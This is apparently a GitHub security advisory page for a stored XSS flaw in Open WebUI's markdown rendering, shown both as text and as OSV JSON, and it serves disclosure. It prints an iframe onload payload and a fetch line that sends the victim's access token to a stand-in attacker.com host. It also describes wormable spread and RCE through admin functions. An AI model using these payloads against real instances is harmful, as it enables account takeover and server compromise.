GHSA-9F4F-JV96-8766
Vulnerability from github – Published: 2026-07-07 16:50 – Updated: 2026-07-07 16:50Summary
A vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be executed in the user's browser every time that chat transcript is opened, allowing attackers to retrieve the user's access token and gain full control over their account. Chat transcripts can be shared with other users in the same server, or with the whole open-webui community if "Enable Community Sharing" is enabled in the admin panel.
If this exploit is used against an admin user, it is possible to achieve Remote Code Execution on the server where the open-webui backend is hosed. This can be done by creating a new function which contains maliicious python code.
This vulnerability also affects chat transcripts uploaded to https://openwebui.com/c/<user>/<chat_id>, allowing for wormable stored XSS in https://openwebui.com
Details
Stored XSS
The file https://github.com/open-webui/open-webui/blob/main/src/lib/components/chat/Messages/Markdown/MarkdownTokens.svelte#L269-L279 contains the following code:
{:else if token.text.includes(`<iframe src="${WEBUI_BASE_URL}/api/v1/files/`)}
{@html `${token.text}`}
That code checks if a chat message has an html tag which contains the text <iframe src="${WEBUI_BASE_URL}/api/v1/files/, and if so, it renders that html tag using {@html}, which is a dangerous Svelte functionality that allows text to be rendered as HTML code.
Attackers can abuse this by sending a chat message with the following payload:
<iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>, where http://localhost:8080 is the URL where the open-webui backend server is hosted.
This will cause a JavaScript alert window to be displayed every time that chat transcript is opened.
In a real attack scenario, instead of injecting alert(1) in the onload attribute, attackers can use the following code to steal the user's access token and send it to a server they control:
fetch("https://attacker.com/?token=" + localStorage.getItem("token"))
This is possible because the access token is stored inside the user's localStorage, which is accessible by JavaScript.
Then, once the attacker has created a chat transcript which contains that payload, they can share that transcript with other users on the same server by clicking on the 3 dots next to the chat transcript on the left, and clicking "Share"
If "Enable Community Sharing" is enabled in the admin panel. attackers can upload the infected chat transcript to https://openwebui.com/, where the Stored XSS payload will be executed
This makes the exploit a wormable Stored XSS. Attackers can upload an infected chat to their profile which has JavaScript code to upload a similar infected chat to the visitori's profile, share it with other members of the open-webui community, and infect their profiles as well.
RCE
If an attacker manages to steal an admin user's token, they can then achieve RCE on the backend server by creating a function (http://localhost:5174/admin/functions), which by design allows admins to execute arbitrary python code on the backend server.
The following HTTP request can be sent to the backend server to execute arbitrary python code.
PoC
Attackers can abuse this by sending a chat message with the following payload:
<iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>, where http://localhost:8080 is the URL where the open-webui backend server is hosted.
Impact
Attackers can send a a link to a shared chat transcript to other users on the same server to take control over their accounts. They can also upload the chat to https://openwebui.com and take control over other users' accounts.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-46719"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-07T16:50:59Z",
"nvd_published_at": "2025-05-05T19:15:57Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be executed in the user\u0027s browser every time that chat transcript is opened, allowing attackers to retrieve the user\u0027s access token and gain full control over their account. Chat transcripts can be shared with other users in the same server, or with the whole open-webui community if \"Enable Community Sharing\" is enabled in the admin panel.\n\nIf this exploit is used against an admin user, it is possible to achieve Remote Code Execution on the server where the open-webui backend is hosed. This can be done by creating a new function which contains maliicious python code.\n\n**This vulnerability also affects chat transcripts uploaded to `https://openwebui.com/c/\u003cuser\u003e/\u003cchat_id\u003e`, allowing for wormable stored XSS in https://openwebui.com**\n\n### Details\n\n### Stored XSS\n\nThe file https://github.com/open-webui/open-webui/blob/main/src/lib/components/chat/Messages/Markdown/MarkdownTokens.svelte#L269-L279 contains the following code:\n```TypeScript\n\t\t{:else if token.text.includes(`\u003ciframe src=\"${WEBUI_BASE_URL}/api/v1/files/`)}\n\t\t\t{@html `${token.text}`}\n``` \nThat code checks if a chat message has an html tag which contains the text `\u003ciframe src=\"${WEBUI_BASE_URL}/api/v1/files/`, and if so, it renders that html tag using `{@html}`, which is a dangerous Svelte functionality that allows text to be rendered as HTML code.\n\nAttackers can abuse this by sending a chat message with the following payload:\n`\u003ciframe src=\"http://localhost:8080/api/v1/files/\" onload=\"alert(1)\"\u003e\u003c/iframe\u003e`, where `http://localhost:8080` is the URL where the open-webui backend server is hosted.\n\nThis will cause a JavaScript alert window to be displayed every time that chat transcript is opened.\n\n\n\n\nIn a real attack scenario, instead of injecting `alert(1)` in the `onload` attribute, attackers can use the following code to steal the user\u0027s access token and send it to a server they control:\n`fetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))`\n\nThis is possible because the access token is stored inside the user\u0027s localStorage, which is accessible by JavaScript.\n\nThen, once the attacker has created a chat transcript which contains that payload, they can share that transcript with other users on the same server by clicking on the 3 dots next to the chat transcript on the left, and clicking \"Share\"\n\n\n\n**If \"Enable Community Sharing\" is enabled in the admin panel. attackers can upload the infected chat transcript to https://openwebui.com/, where the Stored XSS payload will be executed**\n\n\n\nThis makes the exploit a **wormable Stored XSS**. Attackers can upload an infected chat to their profile which has JavaScript code to upload a similar infected chat to the visitori\u0027s profile, share it with other members of the open-webui community, and infect their profiles as well.\n\n\u003chr\u003e\n\n### RCE\n\nIf an attacker manages to steal an admin user\u0027s token, they can then achieve RCE on the backend server by creating a function (http://localhost:5174/admin/functions), which by design allows admins to execute arbitrary python code on the backend server.\n\nThe following HTTP request can be sent to the backend server to execute arbitrary python code.\n\n\n\n\n\n### PoC\n\nAttackers can abuse this by sending a chat message with the following payload:\n`\u003ciframe src=\"http://localhost:8080/api/v1/files/\" onload=\"alert(1)\"\u003e\u003c/iframe\u003e`, where `http://localhost:8080` is the URL where the open-webui backend server is hosted.\n\n### Impact\n\nAttackers can send a a link to a shared chat transcript to other users on the same server to take control over their accounts. They can also upload the chat to https://openwebui.com and take control over other users\u0027 accounts.",
"id": "GHSA-9f4f-jv96-8766",
"modified": "2026-07-07T16:50:59Z",
"published": "2026-07-07T16:50:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46719"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/commit/6fd082d55ffaf6eb226efdeebc7155e3693d2d01"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/blob/main/src/lib/components/chat/Messages/Markdown/MarkdownTokens.svelte#L269-L279"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/releases/tag/v0.6.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Open WebUI vulnerable to stored XSS via unescaped markdown token in MarkdownTokens.svelte leading to full account takeover and RCE via functions"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.